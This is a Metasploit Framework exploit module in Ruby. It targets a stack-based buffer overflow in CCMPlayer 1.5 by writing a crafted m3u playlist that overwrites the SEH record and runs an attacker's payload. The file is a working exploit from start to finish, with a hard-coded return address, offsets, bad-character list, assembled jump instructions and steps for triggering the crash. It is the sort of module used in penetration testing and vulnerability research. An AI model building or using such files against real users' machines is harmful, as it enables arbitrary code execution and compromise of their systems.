99 lines
3.0 KiB
Ruby
99 lines
3.0 KiB
Ruby
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = GoodRanking
|
|
|
|
include Msf::Exploit::FILEFORMAT
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'CCMPlayer 1.5 m3u Playlist Stack Based Buffer Overflow',
|
|
'Description' => %q{
|
|
This module exploits a stack based buffer overflow in CCMPlayer 1.5. Opening
|
|
a m3u playlist with a long track name, a SEH exception record can be overwritten
|
|
with parts of the controllable buffer. SEH execution is triggered after an
|
|
invalid read of an injectible address, thus allowing arbitrary code execution.
|
|
This module works on multiple Windows platforms including: Windows XP SP3,
|
|
Windows Vista, and Windows 7.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => ['Rh0'], # discovery and metasploit module
|
|
'References' =>
|
|
[
|
|
['OSVDB', '77453'],
|
|
['EDB', 18178]
|
|
],
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'process',
|
|
'DisablePayloadHandler' => 'true',
|
|
},
|
|
'Payload' =>
|
|
{
|
|
'Space' => 0x1000,
|
|
'BadChars' => "\x00\x0d\x0a\x1a\x2c\x2e\x3a\x5c", # \x00\r\n\x1a,.:\\
|
|
'DisableNops' => 'True',
|
|
'StackAdjustment' => -3500,
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
[
|
|
'CCMPlayer 1.5',
|
|
{
|
|
# pop esi / pop ebx / ret (in ccmplay.exe)
|
|
# tweak it if necessary
|
|
'Ret' => 0x00403ca7, # last NULL in buffer is accepted
|
|
'Offset' => 0x1000
|
|
}
|
|
]
|
|
],
|
|
'Privileged' => false,
|
|
'DisclosureDate' => 'Nov 30 2011', # to my knowledge
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('FILENAME', [ true, 'The file name.', 'msf.m3u']),
|
|
], self.class)
|
|
end
|
|
|
|
def exploit
|
|
|
|
m3u = "C:\\"
|
|
# shellcode
|
|
m3u << Metasm::Shellcode.assemble(Metasm::Ia32.new, "nop").encode_string * 25
|
|
m3u << payload.encoded
|
|
# junk
|
|
m3u << rand_text_alpha_upper(target['Offset'] - (25 + payload.encoded.length))
|
|
# need an access violation when reading next 4 bytes as address (0xFFFFFFFF)
|
|
# to trigger SEH
|
|
m3u << [0xffffffff].pack("V")
|
|
# pad
|
|
m3u << rand_text_alpha_upper(3)
|
|
# long jmp: jmp far back to shellcode
|
|
m3u << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-4103").encode_string
|
|
# NSEH: jmp short back to long jmp instruction
|
|
m3u << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-5").encode_string
|
|
# pad (need more 2 bytes to fill up to 4, as jmp $-5 are only 2 bytes)
|
|
m3u << rand_text_alpha_upper(2)
|
|
# SEH Exception Handler Address -> p/p/r
|
|
m3u << [target.ret].pack("V")
|
|
m3u << ".mp3\r\n" # no crash without it
|
|
|
|
print_status("Creating '#{datastore['FILENAME']}' file ...")
|
|
|
|
# Open CCMPlayer -> Songs -> Add -> Files of type: m3u -> msf.m3u => exploit
|
|
file_create(m3u)
|
|
|
|
end
|
|
|
|
end
|